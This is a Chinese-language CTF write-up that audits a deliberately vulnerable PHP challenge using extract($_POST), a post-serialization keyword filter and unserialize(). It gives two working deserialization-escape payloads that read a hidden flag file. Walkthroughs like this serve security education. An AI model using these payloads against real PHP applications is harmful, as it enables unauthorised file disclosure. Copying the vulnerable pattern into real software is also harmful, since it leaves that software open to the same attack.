<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
题目如上:
首先进行审计:
① 第一个方法filter是过滤
②第一个if是把$_SESSION变量重置。
然后接下来
extract($_POST);
上面这个是吧key-value对直接变成变量,这里可以用来变量覆盖。
接下来是
if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); }
这里如果get里面有sha1就会把给加密,如果没有又没法由用户控制,然后继续往后面审计
$serialize_info = filter(serialize($_SESSION));
这个是进行序列化以后同时执行过滤方法
if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here! }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); }
这里能够查询的位置是$userinfo['img']而这个对应的其实是过滤后的$_SESSION['img'],但是,它不是直接赋值的,而是采用了反序列化,如果改变序列化以后的字符串,就可以对访问你想要选择的内容。
题目中还有一个提示是phpinfo
于是首先访问phpinfo
最终找到
auto_append_file是执行完这个php就加载这后面的php,因此说明flag可能在这里。
这个题目要利用反序列化逃逸,因为我们是没法直接进行修改,因此可以通过黑名单之类的,对反序列化以后的字符进行增加或者删减来达到逃逸的目的。
payload:
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}
payload解释:
array(3) {
["user"]=> string(23) "flagflagflagflagflagphp"
["function"]=> string(57) "";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}"
["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
string(143) "a:3:{s:4:"user";s:23:"";s:8:"function";s:57:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
这里用的方法是改value,由于本身有三个键对值所以后面需要补一个1=>1
改value的思路是利用反序列化方法,反序列化执行到s:23:的时候由于黑名单把一部分字符串删去了,导致他会把后续的引号之类的当成user的value来处理,所以只需要处理出来一直到下一个引号开始
处理完三个以后同时括号闭合了,后面的他就不会处理了,会当成垃圾一样丢弃掉。
另一个payload
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这个是通过改key
array(2) {
["flagphp"]=> string(48) ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
string(107) "a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"